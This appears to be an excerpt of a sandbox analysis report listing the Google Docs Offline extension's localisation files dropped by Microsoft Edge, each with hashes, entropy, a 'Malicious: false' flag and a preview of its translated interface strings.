Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\_locales\sr\messages.json

Download File

